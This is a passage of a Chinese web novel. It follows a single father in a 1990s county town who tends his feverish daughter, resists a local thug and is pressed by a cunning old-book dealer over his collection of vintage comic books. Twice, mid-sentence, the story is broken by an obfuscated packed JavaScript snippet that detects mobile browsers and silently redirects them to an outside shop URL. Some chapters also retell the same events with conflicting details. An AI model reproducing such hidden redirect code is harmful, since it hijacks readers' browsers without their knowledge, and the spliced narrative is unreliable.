李干事看着黑皮他们远去的方向,转过身,对林凡叹了口气,语气里带着点无奈——
他也知道林凡不容易,可他能做的有限,街道不是派出所,没权力抓人,只能靠吓唬:
“小林啊,你看,这就是不踏实惹来的麻烦。你好好卖你的日用百货不就完了?非鼓捣那些旧书,让人盯上了吧?”
林凡连忙解释,语气里带着点诚恳——他不想让李干事误会,也想让李干事知道自己没惹事,以后还能多帮衬点:
“李干事,真就是点个人爱好,帮亲戚忙,没想惹事。
今天多亏您了,不然我真不知道该怎么办。您要是不嫌弃,下次我去市里进货,给您带瓶‘洋河大曲’,您平时爱喝这个。”
“以后机灵点,遇到这种事,及时到街道反映。”
李干事摆摆手,拿起车把上的帆布包,里面的文件还在“哗啦”响——
他下午还要去东街检查个体户的卫生情况,没时间多待:
“不过我也不能天天守着你,街道还有一堆事呢——明天要组织居民扫街,后天还要统计个体户的经营数据。
你自己也得想想办法……唉。”
他摇摇头,骑上自行车,铃铛响着走远了,留下个无奈的背影,消失在巷口的阴影里。自行车的“吱呀”声越来越远,最后被风吹散了,只留下空气中的汗味和烟味。
接下来的几天,林凡更加低调。
他减少了去远处收连环画的频率,之前每周去三次废品站,现在只敢在附近的“老王废品站”转一圈,收来的书也不敢放在棚子里,都偷偷带回家——
他家在巷尾的老民房里,租的一楼,墙壁上都长了青苔,潮湿得很,他把书藏在床底的木箱里,木箱是他爷爷留下的,上面刻着“福”字,他还在木箱里垫了笑笑的旧棉袄,能防潮。
有次笑笑问他
“爸爸,箱子里是什么呀”,他说
“是爸爸的旧书,等笑笑长大了给你看”。
他把主要精力放回棚子的经营上,还特意进了些便宜的儿童小零食,比如五毛钱一包的咪咪虾条、三毛钱一包的唐僧肉(其实是豆制品)、两毛钱一根的果丹皮,用透明袋装着,摆在柜台最显眼的位置——
他想多攒点顾客,尤其是带孩子的家长,顾客多了,黑皮再来**,说不定有人能帮着说句话;而且多赚点钱,也能多备点“应急款”,万一黑皮再来,也能先应付过去。
同时,他开始有意识地织一张“关系网”:给旁边修鞋的张师傅送了包“红塔山”——
那烟八块钱一包,是他平时舍不得抽的,自己抽的都是三块五的“经济烟”。
张师傅在巷口修鞋三十年,手上全是老茧,补鞋的线轴都磨得发亮,他跟黑皮早有过节——
去年黑皮让他免费修鞋,张师傅不肯,摊子被掀过一次,鞋钉撒了一地,还是林凡帮他捡的。张师傅接过烟,卷了卷塞进耳朵里,拍着胸脯说:
“小林,你放心!以后黑皮再来,我第一时间喊人,巷子里的老周、老李都会过来搭把手,咱们不能让他欺负老实人!”
他还帮卖报纸的刘大妈搬沉重的报纸捆——刘大妈快六十了,腰不好,有风湿,每天凌晨四点就去报社取报纸,一捆报纸有二十多斤,压得她直喘气,每次都得歇三次才能搬到报摊。
林凡每天早上七点开门,都会先去帮刘大妈搬报纸,刘大妈过意不去,每天都送他一份《早报》。
有次林凡帮她搬完,刘大妈拉着他的手说:
“小林啊,你真是个好孩子。以后有啥消息,我先告诉你,黑皮他们要是有动静,我第一时间喊你——我这报摊在路口,看得清楚!”
甚至遇到巡逻的片警老张,他还递了瓶冰镇汽水——那汽水一块钱一瓶,是他从冰箱里拿的,还冒着冷气,是“北冰洋”牌的。
老张接过汽水,拧开喝了一口,抹了把嘴说:
“小林,有事直接去派出所找我,别跟他们硬拼。他们要是敢动手,你就报警,我五分钟就能到。”
老张知道林凡不容易,单身带个孩子,还踏实肯干,之前林凡还帮他指认过偷自行车的小偷。
他不再是独善其身的店主,而是想在这复杂的巷子里,为自己和笑笑找几个能搭把手的人。他知道,靠自己一个人,是撑不了多久的,黑皮不会善罢甘休,早晚会再来。
可麻烦似乎总是跟着来。
一天晚上,后半夜两点多,笑笑突然开始发抖,小脸烧得通红,像熟透的苹果,呼吸粗重得像小风箱,咳起来时连小身子都在颤,小手攥着林凡的衣领,烫得像块烧红的小烙铁。
林凡心急如焚,抱起女儿就往县医院跑——夜里巷子里没灯,只有远处十字路口有个路灯,昏黄的光洒在青石板路上,他只能借着这点光跑,脚下踩过积水的坑洼,裤腿全湿了,贴在腿上,冰凉刺骨。
怀里的笑笑却被他裹得严严实实,用自己的外套包着,连风都透不进去——那外套是他唯一的一件厚外套,花了三十块钱买的。
他跑得飞快,鞋都差点甩掉,心里只有一个念头:别出事,千万别出事,笑笑要是有个三长两短,他就活不下去了。
县医院的急诊室就三间房,晚上挤满了看病的人,孩子的哭声、大人的咳嗽声、医生的叮嘱声混在一起,消毒水的味道盖过了一切,呛得林凡想咳嗽。
急诊医生是个四十多岁的男人,戴副黑框眼镜,穿件白大褂,袖口沾着点碘伏。
他用听诊器听了听笑笑的胸口,又量了体温,体温计显示39度5,医生皱着眉说:
“急性支气管炎,得马上打针输液,再晚来就该转肺炎了,孩子这么小,不能耽误。”
护士拿着针头走过来时,笑笑吓得直哭,小手紧紧抓着林凡的手指,指甲都嵌进了他的肉里,哭着喊:
“爸爸,我怕……我不要打针……打针疼……”
林凡的心像被针扎一样疼,他蹲在病床边,抱着女儿的头,用下巴蹭了蹭她的头发,柔声哄着:
“笑笑不怕,爸爸在,打完针咱们就回家,买草莓糖吃,买草莓味的橡皮,好不好?
爸爸陪着你,不离
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607481|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开。”
他一边哄,一边把自己的手指放进笑笑嘴里,让她咬着,笑笑咬得很用力,他的手指都出血了,可他没吭声,只觉得心疼。
那一夜,林凡守在病床边,握着女儿滚烫的手,一夜没合眼。病床是铁制的,硬得硌人,他坐在旁边的硬板凳上,后背靠着墙,墙是冷的,他时不时摸笑笑的额头,看烧退了没。
输液管里的药水一滴一滴往下落,像断了线的珠子,他盯着药水,心里满是无力——
要是他有更好的条件,能给笑笑租个不漏雨的房子(现在的房子下雨天会漏雨,得用脸盆接),能让她吃得更有营养,每天喝牛奶、吃鸡蛋,也许她就不会这么容易生病。
他想起自己小时候,家里穷,也总生病,妈妈只能用土方子(比如用生姜煮水喝)治,有次发烧烧到四十度,差点烧坏了脑子,现在他不想让笑笑受一样的苦,可他却做不到。
第二天,笑笑的烧退了点,降到了38度,却还是没精神,连说话的力气都没有,只能靠在林凡怀里。
第三天,林凡让王猛暂时照看棚子,自己则在医院和棚子之间奔波:早上送完药,就去棚子盯一会儿,怕王猛应付不过来——
王猛性子直,不会跟顾客讨价还价,有次顾客买东西想少给一毛钱,他差点跟人吵起来;
中午再回医院给笑笑喂饭,用勺子一点点喂,笑笑吃两口就不想吃了,他只能哄着:
“笑笑乖,多吃点才能好得快,好得快就能回家玩小兔子布偶了。”;
晚上守在病床边,帮女儿擦汗,哄她睡觉,笑笑睡着时还在小声咳嗽,他就坐在床边,轻轻拍着她的背,像拍着一件易碎的珍宝。
几天下来,他眼里的红血丝越来越重,像爬满了蜘蛛网,下巴上也冒出了胡茬,扎手得很,用手一摸,能感觉到硬硬的胡茬。
他整个人瘦了一圈,之前合身的蓝色衬衫现在显得宽松了,领口空荡荡的,能看见里面的秋衣。
王猛看他累得不行,眼窝都陷进去了,让他休息半天,他却说:
“没事,我还撑得住,笑笑还在医院呢,医药费已经花了两百多了,我得赶紧赚钱,把医药费赚回来。”
第四天,就在笑笑出院的第二天下午,林凡正在棚子里给女儿喂药——
药是甜橙味的小儿止咳糖浆,医生说这药不苦,他用温水冲开,还加了点白糖,可笑笑还是皱着眉,小口小口地抿着,像在吃什么苦东西,每喝一口,就皱一下眉头,小眉头拧成了个“川”字。
突然,一阵“吱呀——吱呀——”的车轮声传来,一个破三轮停在棚子外,车轮上还沾着泥,是从城外的土路过来的——
泥上还带着点草屑,一看就是刚从乡下回来。林凡抬头一看,心里“咯噔”一下——是县城另一头的旧书摊主钱老西。
那老头留着山羊胡,胡子有点发黄,像是很久没洗了,沾着点灰尘,穿件洗得发白的对襟褂子,袖口磨出了毛边,领口还沾着点墨水——
是之前写字时蹭的,他平时爱写点毛笔字。手里把玩着个旧烟斗,烟斗是铜制的,已经发黑了,上面刻着“福寿”两个字,模糊不清,烟斗里的烟丝早就灭了,却还在手里转着圈。
他的三轮车是“永久”牌的,车斗里装着几个旧纸箱,箱子上写着“旧书”两个字,是用毛笔写的,墨都晕开了,里面全是旧书,有本《三国演义》的封皮都掉了,露出里面的黄纸,纸都发脆了。
他浑浊的眼睛先扫过棚角那个装着连环画的纸箱——箱盖没盖严,露出本《西厢记》的淡蓝封皮,封皮上画着张生和崔莺莺,还印着“上海人民美术出版社1956年版”的字样——
他的眼睛亮了一下,像看到了宝贝,然后才落在林凡脸上,嘴角勾起抹似笑非笑的弧度,像老狐狸盯上了猎物,眼神里透着精明,还有点不容拒绝的强势。
“小伙子,听说你这儿,收旧书?”
钱老西的声音带着**湖的油滑,像块浸了油的木头,慢悠悠的,却透着股压迫感。
他说话时,烟斗在手里转了圈,烟丝的味道飘过来,混着棚外的湿热空气,让人心里发闷,像压了块石头。
林凡握着药碗的手顿了顿,指尖发凉,连药勺都差点掉在碗里——
药碗是个旧搪瓷碗,上面印着“为人民服务”,边缘已经磕掉了块瓷。
他太了解钱老西了——这老头在县城摆了十几年旧书摊,在旧书圈里是出了名的“老狐狸”,什么门道都懂,眼光毒得很,能看出哪些旧书值钱。
据说他还跟市里的收藏贩子有联系——去年县中学的老教师有本民国版的《西游记》,被钱老西用五十块收走,转头就卖给了市里的贩子,赚了五百块,这事在县城的旧书圈里传得沸沸扬扬,老教师后来知道了,气得病了一场。
他这个时候出现,绝不是偶然,肯定是听说了自己收连环画的事,想来分一杯羹,甚至可能想把自己收的书全低价买走,再高价卖出去。
天边的乌云又沉了些,比之前更黑了,像块巨大的黑布压在头顶,风也大了起来,吹得棚子顶上的塑料布“哗啦”响,像在哭,又像在预警。
远处的雷声越来越近,“轰隆隆”的,像在头顶炸响,震得棚子的木架都有点晃。
林凡看着钱老西似笑非笑的脸,又看了看怀里还没恢复精神的笑笑——笑笑靠在他怀里,已经睡着了,小眉头还皱着,嘴角微微抿着,像在做什么不好的梦。
他心里清楚——之前的风雨只是前奏,黑皮的勒索、笑笑的生病,都只是小麻烦;真正的风暴,怕是要来了。
而且,是从他最没防备的方向——他以为收连环画是件小事,既能帮表舅凑齐研究材料,又能赚点零花钱给笑笑买东西,却没想到引来了钱老西这样的人。
这比黑皮的勒索更可怕:黑皮只要钱,给点钱或许能暂时打发;
可钱老西,想要的是他手里的连环画,是他唯一能给表舅交差、还能赚点钱的东西——要是被钱老西盯上,这些书恐怕保不住,甚至可能连自己的生计都要受影响。
风更大了,塑料布被吹得鼓起来,又瘪下去,
发出“哗啦啦”的响声,像是在喊着“危险”。
林凡抱紧了笑笑,手心里全是汗——
**接下来该怎么办,只能走一步看一步,
可他知道,无论如何,他必须保护好笑笑,
保护好这来之不易的平静,哪怕拼尽全力。
第十六章: 笑笑病了
巷口的土路被前两天下的雨泡得坑洼,最深的洼里积着浑水,映着头顶灰蒙蒙的天,连路过的苍蝇都绕着走。
钱老西那辆快散架的“永久”牌三轮碾过时,车轮“噗嗤”一声扎进洼里,溅起的泥点带着土腥味,粘在车斗下的锈铁皮上——
那铁皮薄得能透光,蜂窝状的锈洞里还卡着去年冬天的冰碴子,此刻混着新泥,活像块长了霉斑的烂铁。
车轴早没了机油,“吱呀——嘎啦”的摩擦声尖得刺耳,盖过了巷里张记油条铺的油锅“滋滋”声,好不容易才“哐当”一声磕在林凡杂货棚外的碎石子上停住,震得车斗里卡着的几页旧书残页簌簌抖。
那残页是上周钱老西从废品站淘货时蹭上的,纸页发脆,还留着半行《水浒传》的字:“武松提了梢棒,大踏步……”,风一卷就“哗哗”响,像谁在低声念白;
前轮沾着的泥块早干结了,边缘泛着白霜似的碱花,像给轮胎镶了圈土黄色的疤,唯有靠近轮毂的地方还带着点潮气——
明眼人一看就知道,是从巷尾那片常年积水的洼地碾过来的,那地方积水发绿,连耗子都不爱去,钱老西却特意绕了道,像是故意要把自己扮得更落魄。
这副刻意装出来的破败模样,落在林凡眼里,却像根刚从阴沟里捞出来的锈钉子,尖刺直扎他紧绷的神经。
他后颈的汗**瞬间竖了起来,指尖下意识摸向怀里笑笑的后脑勺——
孩子还发着低烧,头皮温温的,比他的手掌热半分,呼吸轻得像片沾了水汽的羽毛,拂在他的脖颈上,痒得人心头发颤。
他实在没力气再应付任何麻烦了。
前半夜刚抱着笑笑跑县医院急诊,急诊室的白炽灯亮得晃眼,灯管上还绕着几只飞虫,“嗡嗡”地撞着玻璃。
走廊里挤满了抱着孩子的家长,有的孩子哭着喊头疼,声音哑得像破锣;有的家长攥着挂号单,跟护士争得面红耳赤,唾沫星子溅在护士的白大褂上。
林凡缩在走廊最角落的水泥地上,那水泥地凉得透骨,透过薄薄的裤子渗进皮肤里,冻得他膝盖发麻。
笑笑的小脸烧得通红,小嘴唇却干得起皮,小手紧紧攥着他的衣角,每隔十分钟就哼唧一句
“爸爸,冷”,
他只能把自己那件洗得发白的浅蓝短袖外套裹在孩子身上——那外套领口卷着边,袖口还磨破了个洞,是去年冬天给笑笑挡风雪时勾破的——
自己后背却被汗浸得透湿,风一吹就凉得打哆嗦。
就这么蹲了三个钟头,才轮到医生给开了包退烧药,还是最普通的“对乙酰氨基酚片”,医生捏着处方单嘱咐:
“要是明早还烧到三十八度五以上,就得抽血查血常规,别耽误了。”
后半夜刚合眼,黑皮就带着两个混混堵在棚子门口。
那黑皮穿着件花衬衫,领口敞得能看见胸口的赘肉,脖子上纹着只歪歪扭扭的老虎,墨水都晕开了;他手拍在货架上“砰砰”响,震得上面的咪咪虾条包装纸簌簌掉渣,有两包没摆稳,“哗啦”一声掉在地上,他还故意用脚碾了碾,塑料纸“咯吱”响:
“林凡,这月保护费该交了吧?五十块,少一分都不行!”
旁边的混混跟着嗤笑,一个染着黄头发的,还伸手去扯棚子上挂着的“笑笑杂货铺”木牌,木牌上的红漆都掉了,是林凡去年亲手写的。
直到住在隔壁的李干事下班路过——他是机械厂的工会干事,平时最看不惯这些混混,总穿着件洗得发白的中山装——叉着腰呵斥:
“你们再闹,我现在就报派出所!”黑皮才悻悻地啐了口痰,痰星子溅在林凡的鞋尖上,撂下句“你等着”,带着人晃悠悠走了。
此刻的林凡,就像块在水里泡了三天三夜的槐木,看着依旧能立在棚子门口,可只要指尖稍一用力,就能摸到内里早已被熬得发糟的木纹——
连说话都得借着一口气撑着,怕一松劲就垮了。
但他不能垮,怀里的笑笑还在哼唧,小脑袋往他胸口又蹭了蹭,温热的呼吸透过薄衬衫吹进来,掀起领口的线头,那线头蹭在他的皮肤上,像孩子软软的小手,也让他心里的劲又多了几分。
棚子门口的阴影里,钱老西正慢条斯理地擦着烟袋锅。
这人是县城旧书行的“活招牌”,也是出了名的“地头蛇”——
九十年代初县城还没大型书店,旧书生意全靠散户和小铺子,钱老西在西街开的“聚宝斋”,门脸不大,却靠着早年在废品站、供销社攒下的人脉,垄断了半个县城的老版连环画货源。
去年有个姓周的小贩,想收几本1950年代的《西游记》,刚在东街摆了个小摊,就被钱老西的侄子堵了——
那侄子留着寸头,胳膊上有疤,说“这片区的旧书归聚宝斋管,你想抢生意?”
最后那小贩没办法,只能把收来的五本书按成本价卖给钱老西,自己揣着几块钱灰溜溜回了乡下,听说后来再也没敢来县城。
林凡攥着笑笑衣角的手指悄悄收紧——孩子喝了药后困得厉害,眼皮耷拉得像浸了水的棉纸,眼睫毛上还沾着点泪珠,是刚才被钱老西的三轮车声吓出来的。
他深吸了口气,先开了口,脸上挤出的惊讶恰到好处,像街坊邻居突然撞见似的:
“钱老板?您咋有空到我这小破棚来?”
他声音软得像刚出锅的红糖馒头,还带着点没睡醒的沙哑——其实是熬了半宿没歇着;
特意往旁边挪了半步,让出半扇沾着油烟的木门。
那油烟味是隔壁张记油条铺飘来的,早上炸油条时,油星子溅在门板上,干了之后留下一圈圈黄印,最上面那圈还能看见点油条的碎屑,风一吹,隐约能闻到点油香,混着棚子里旧书的霉味,倒有了点烟火气。
“快进来避避暑,外面日头毒得能晒化塑料鞋底——
我早上看张师傅炸油条,油锅里的油都冒青烟了,他胳膊上溅了个水泡,用凉水冲的时候还‘嘶嘶’抽气呢。”
这姿态放得极低,却又不卑不亢:像晚辈见了老街坊,透着点熟络;
又像小摊贩对着老行家,带着点尊重,挑不出半分错处。
钱老西要的就是这个态度,他“嗯”了一声,声音里带着点烟袋锅子的焦糊味,推着三轮往棚子里蹭,车轮碾过地面的碎石子,“咯吱咯吱”响得像老驴拉磨,每一声都磨得林凡心头发紧——
他清楚,这老狐狸是在试探棚子的承重,也是在试探他的底气,看他是不是真的“好欺负”。
没等林凡招呼,钱老西先站定了。
他没看林凡,也没看抱着的笑笑,眼睛像把扫院子的竹扫帚,从棚子东头扫到西头,连货架最下层积灰的角落都没放过——
那角落里还堆着几个空的玻璃罐头瓶,是笑笑平时装糖块用的,瓶身上还贴着卡通贴纸,都卷边了。
货架最上层的咪咪虾条是上周进的货,包装上印着的卡通虾已经褪色,红的变成了粉的,有两包因为棚子漏雨,包装边缘发潮变软,林凡特意把它们挪到离窗户远的地方,还用个硬纸板挡着;
草莓味橡皮散在一个掉了漆的铁盒子里,那铁盒子是笑笑外婆给的,以前装过饼干,现在漆掉得只剩点黄印子,除了少角的那块——
是昨天隔壁家小男孩买铅笔时不小心抠的,那孩子还红着脸道歉——还有两块沾着铅笔灰,黑乎乎的,林凡没舍得扔;
墙角堆着三个进货的纸箱,最上面那个印着“娃哈哈”的字样,标签都褪色了,露出里面的硬纸板,林凡记得这箱是上个月进的,现在还剩半箱,昨天给笑笑拆了一瓶,她还说“比上次的甜”;
唯有那个装连环画的纸箱,盖着块洗得发白的旧蓝布——那布原本是笑笑外婆给孩子做襁褓的花格子布,上面绣着小兔子,洗了太多次,颜色褪得只剩点淡蓝的印子。
兔子耳朵都快看不见了,布角还滑开了一截,露了页泛着老玉米皮黄的纸,是《小兵张嘎》的扉页,边角磨得发毛,在棚子的阴影里格外扎眼。
“路过,”
钱老西收回目光,干笑两声,笑声像砂纸磨木头,烟袋锅子在手里转了圈——铜锅泛着暗锈色,边缘还沾着去年的烟垢,黑一块黄一块的,像长了斑;
烟袋杆是枣木的,上面裂了两道细缝,用棉线缠了几圈,那棉线是褪色的蓝,还是去年冬天冻裂后,他老伴在世时帮他缠的,现在老伴走了,线松了他也没舍得换——
“听说小林老板你这儿生意旺,过来瞅瞅新鲜。”
他自己拖过个小马扎——那马扎是林凡上个月从废品站淘的,藤条断了两根,用铁丝拧着凑合用,坐上去还会“吱呀”响,像老太太的咳嗽声——
屁股刚沾着凳面,就掏出烟荷包。
蓝布荷包上绣着朵蔫了的牡丹,丝线都松了,花瓣的边角磨得快要看不清,针脚还歪歪扭扭的,是钱老西老伴年轻时绣的,她手笨,绣了半个月才绣好。
他慢悠悠往烟锅里填烟丝,手指粗糙得像老树皮,指关节又粗又大,指甲缝里还嵌着点黑泥——
是早上翻废品站的旧书堆蹭的,那书堆里全是灰尘,呛得他咳了半天——可动作却比绣花针还细,烟丝填得匀匀的,没撒出半粒,显然是做惯了这活,几十年没改。
“听说……你这儿也收旧书?”
这话像根裹着烟油子的细针,轻轻戳在林凡心上。
他抱着笑笑的胳膊下意识紧了紧,孩子被勒得哼唧了一声,小眉头皱成个小疙瘩,眼角还沁出点泪,小手攥着他的衣服更紧了,指甲轻轻掐进他的胳膊,不疼,却让他心里一软。
林凡赶紧用掌心轻轻拍着她的背,掌心的温度透过薄衣服传过去,声音裹着为人父的软:
“您可别听人瞎传,我哪懂收书啊。就是这丫头,”
他指了指怀里的笑笑,指尖轻轻碰了碰孩子的脸颊——还有点低烧,温温的,像晒过太阳的棉花。
“打小就喜欢看画儿,新玩具买不起,我就寻思着收点旧小人书给她翻着玩,撕了丢了也不心疼。
再就是省城有个表叔,在省图书馆搞民间文化研究,专门收集老物件,前阵子打电话让我帮着留意点,说是凑个数做资料,也没说要多好的。”
他把“女儿”和“表叔”这两块挡箭牌举得稳稳的,语气自然得像说“今天中午吃了面条”,连眼神都带着点“没见过世面”的憨态——
仿佛收旧书真就是件不值一提的小事,犯不着钱老西这样的老行家特意跑一趟。
钱老西划了根火柴,“嗤”的一声,火苗子窜起来,映亮他皱巴巴的脸。
那皱纹深得能夹住蚊子,尤其是眼角的纹路,像被刀刻过似的,一道叠一道——老辈人都说,常年眯着眼琢磨生意、算差价的人,眼角都会长这样的纹。
他点燃烟袋,猛吸了一口,烟雾裹着焦糊味飘出来,模糊了他的眼,只露出个叼着烟袋的剪影,烟袋杆上的棉线在火光下泛着淡蓝。
“图书馆的研究?那可是文化事儿。”
他又吸了口烟,烟袋锅子亮了亮,红火星子在暗处闪了闪,像颗小灯笼,才缓缓吐出烟圈。
烟圈飘到棚顶的石棉瓦上,撞散了,碎成一缕缕青烟,有的飘到笑笑面前,林凡赶紧侧了侧身,挡住烟味——
孩子咳嗽还没好,闻不得烟——
“不过,小林老板,你这‘凑数’,量好像不小啊?
我咋听说,你都跑到下面李家庄、王台镇去收了?
还按废纸价高不少给——人家收废纸五分钱一斤,你给一毛?这可不像是给孩子玩的路数。”
林
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607482|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凡的喉结悄悄滚了滚,像咽了口没化的冰——他没想到这老狐狸消息这么灵通,连他去李家庄的事都知道。
上周去李家庄收书,他特意选了个雨天,以为没人注意。
那天的雨是瓢泼式的,砸在自行车棚上“噼里啪啦”响,他穿的旧胶鞋鞋底有个小洞,骑到半路时,雨水灌进鞋里,脚泡得发白,每踩一下踏板,都“咕叽”响;
到李家庄时,裤腿卷到膝盖,还是湿得往下滴水,冷得他腿肚子直打颤。
老农住在村东头的土坯房里,门槛上长满了青苔,踩上去“滑溜溜”的,林凡站在门口等了半小时,老农才披着蓑衣出来——
那蓑衣是棕褐色的,上面还沾着稻草——手里攥着用蓝布包着的《三打白骨精》,蓝布都洗得发白了,老农说:
“这是我1965年在供销社买的,给儿子当宝贝,现在儿子进城打工了,我眼睛花了,看不了了,才舍得卖。”
为了那本书,他硬是多给了五分钱,老农才松口,还反复嘱咐:
“你要好好待它,别弄丢了。”
这事除了老农,没第二个人知道,钱老西却能说得一字不差——
显然是在他身边安了眼线,说不定就是县城里那个收废品的老张,老张平时总跟钱老西一起抽烟,上次还问过他“最近是不是收了不少旧书”。
心里一凛,脸上却露出点被抓包的窘迫。
林凡挠了挠头,指尖蹭过鬓角的汗——天太热,又紧张,汗早把额发打湿了,一缕缕贴在额头上,蹭过皮肤时留下道白印,像撒了点面粉。
“钱老板您这耳朵也太灵了,跟装了顺风耳似的。”
他故意装出不好意思的样子,声音更软,还带着点结巴,
“不瞒您说,表叔催得急,说要的品种多,县城里转了好几圈,收不着啥像样的,我就只能骑着自行车往乡下跑——
那自行车还是我从废品站淘的,链条总掉,上次去王台镇,还推着走了二里地。
价格嘛……乡下人实在,见着品相好点的,我也不好意思真按废纸价给——人家留了几十年的东西,多给个几分一毛的,就当是跑腿费了。
说到底还是帮亲戚干活,没想那么多,也没赚啥钱。”
这话半真半假:承认去乡镇收书,是怕否认了更可疑;
把动机归为“亲戚催得急”“年轻人心软”,是为了藏起“靠信息差赚钱”的心思——
他心里清楚,现在老版连环画还没热起来,五分钱收的书,遇到懂行的,能卖五块、十块,这差价是他给笑笑攒学费的重要来源。
上次笑笑说想要个新书包,他还没舍得买,就等着多赚点钱,给孩子买个带卡通图案的。
钱老西眯着眼,透过烟雾打量林凡。
眼前的年轻人穿着件洗得发白的浅蓝短袖,领口卷着边,袖口还磨破了个小洞——
是上次抱笑笑去医院时,被走廊的铁栏杆勾破的,他没舍得扔,用针线缝了缝,针脚歪歪扭扭的;
眼底带着熬夜的红血丝,像爬了几道红虫子,眼下的青黑重得像涂了墨,连胡茬都没来得及刮,扎在脸上;
怀里抱着病弱的孩子,连站姿都透着点疲惫,肩膀微微垮着——
怎么看都不像是有大野心的人。
他心里的怀疑消了几分,可商人的本能让他没轻易松口,烟袋锅子又亮了亮,他吐了口烟,慢悠悠地说:
“原来是这样。”
他磕了磕烟袋,烟灰落在地上,碎成小粒,被风一吹粘在裤脚上——
他的裤子是卡其色的,沾了烟灰后格外显眼,裤腿还卷着,露出脚踝上的老疤,是年轻时在废品站搬书,被木板砸的,现在还留着个褐色的印子——
“我说呢,这破玩意儿现在还有什么搞头。不过,小林啊,你既然收到好东西,光给你表叔,可惜了。
我那边偶尔也有几个老主顾,就好这一口,专门找老版小人书怀旧,有的是退休干部,不差钱。
你要是有品相好的,匀给我几本,我帮你出手,价格肯定比你那废纸价强,怎么样?
也让你多少回点本,别光贴钱帮亲戚干活。”
图穷匕见了!林凡心里冷笑——
这老东西哪是来“帮忙”的,分明是想低价截胡。
他早就听说,钱老西最擅长这招:去年有个姓赵的小贩,不懂行,把一本1958年版的《西游记》以两块钱卖给了他,那本书品相完好,还是第一版的。
结果钱老西转手就卖给了外地来的收藏者,卖了五十块!那小贩后来知道了,蹲在聚宝斋门口哭了半天,钱老西连门都没开,还让侄子出来赶人,说“愿打愿挨,怪谁?”
可脸上却没露半分,反而露出犹豫的神色。
林凡的手指在笑笑的衣角上轻轻捻着,把布角捻出个小褶——那是笑笑最喜欢的粉色裙子,洗得有点发白,裙摆还绣着个小兔子。
“这……钱老板,这不太好吧?
我都答应表叔了,说收着好的都给他……而且我收的都是些破烂,也没什么好东西,怕您的主顾看不上,到时候砸了您的招牌……”
“哎,看看嘛,看看又不打紧。”
钱老西没等他说完,就起身往那个装连环画的纸箱走。
他的脚步不快,却带着股不容拒绝的劲,像老地主查自家的粮囤,每一步都踩得很稳,鞋跟碾过地面的碎石子,发出“咔嚓”的轻响。
走到纸箱边,他弯腰掀开盖在上面的旧蓝布,布上还沾着点霉斑——那是上次下雨,棚子漏雨弄的,林凡没来得及洗,霉斑呈浅绿色,像长了层青苔——
他手指直接伸了进去,动作熟练得很,指尖拂过书脊,像在摸刚出锅的馒头,轻一下重一下,生怕捏坏了好货,又怕漏了珍品,指甲缝里的黑泥蹭在书脊上,留下道印子。
第十七章 钱老西的试探
林凡没阻止,只是抱着笑笑的胳膊更紧了点,视线跟着钱老西的手转,心里像悬着块石头。
他心里有数:纸箱里大多是他故意放的普品,真正的好东西,像那本1962年版的《三打白骨精》、1959年的《林海雪原》,早被他藏在家里床底的木箱里,垫着笑笑的旧棉袄防潮——
那棉袄是笑笑刚出生时穿的,粉嘟嘟的,上面绣着小太阳,现在小了,用来垫书正好能防潮,还能挡住木箱的缝隙,不让灰尘进去,他每天都会检查一遍,怕书受潮发霉。
钱老西翻了一会儿,先拿起本七十年代版的《渡江侦察记》。
封面缺了个右上角,正好是侦察兵举枪的姿势,只剩半只手露在外面,手指还画得很清晰;
内页还沾着干了的饭粒,黄黄的,硬得像小石子,林凡之前想抠掉,结果把纸页抠破了个小口子,只好作罢,还在口子旁边贴了块透明胶带,胶带已经发黄了。
他捏着书脊抖了抖,纸屑掉下来,落在他的黑布鞋上——那鞋是千层底的,鞋尖已经磨平了,是他老伴纳的,纳了一个月,穿了快五年,鞋底都快磨透了。
“这种货色,也就哄孩子玩,我家小孙子都嫌破,上次给他一本,他还扔在地上踩。”
他撇了撇嘴,嘴角撇出个嘲讽的弧度,把书扔回纸箱,动作重得让其他书都晃了晃。
又拿起本《列宁**》,封面破得只剩一半,能看见里面的扉页,扉页上还留着老主人的签名,用蓝墨水写的“王建国”,字迹已经晕开,像朵小蓝花;
内页被虫蛀了几个洞,最大的那个在页码旁边,能看见后面一页的文字——“**同志”四个字,笔画都断了。
钱老西看都没多看,直接扔回箱子里,“啪”的一声,吓得笑笑往林凡怀里缩了缩,小脑袋埋得更深了,小手还紧紧捂住耳朵。
他脸上的不耐烦越来越重,眉头皱得能夹死苍蝇,仿佛觉得这趟白跑了,浪费了他的烟丝——
那烟丝是他托人从省城买的,一块五一两,平时自己都舍不得多抽,只有见“重要客户”才拿出来。
就在他准备收手时,指尖突然触到本用旧画报纸包着的书。画报纸是1980年的《人民日报》,边缘都脆了,一摸就掉渣,上面还印着条农业新闻,标题是“春耕时节忙,粮食产量创新高”,下面的小字还能看清“某县小麦亩产达八百斤”,字都有点模糊了。
他下意识地抽出来,像摸出块藏在糠里的糖,慢慢剥开画报纸——一层一层,动作比刚才轻了不少,生怕把里面的书弄坏了,手指都有点抖。
一本品相约有七五新的《鸡毛信》露了出来。封面上穿补丁衣服的海娃攥着信,眼睛瞪得圆圆的,黑眼珠像两颗黑葡萄,线条清晰得能看见衣服上的针脚,连补丁的边缘都画得很细;
刘继卣的签名印在右下角,虽然淡,却像颗小印章,稳稳地盖在纸上,笔画刚劲有力。
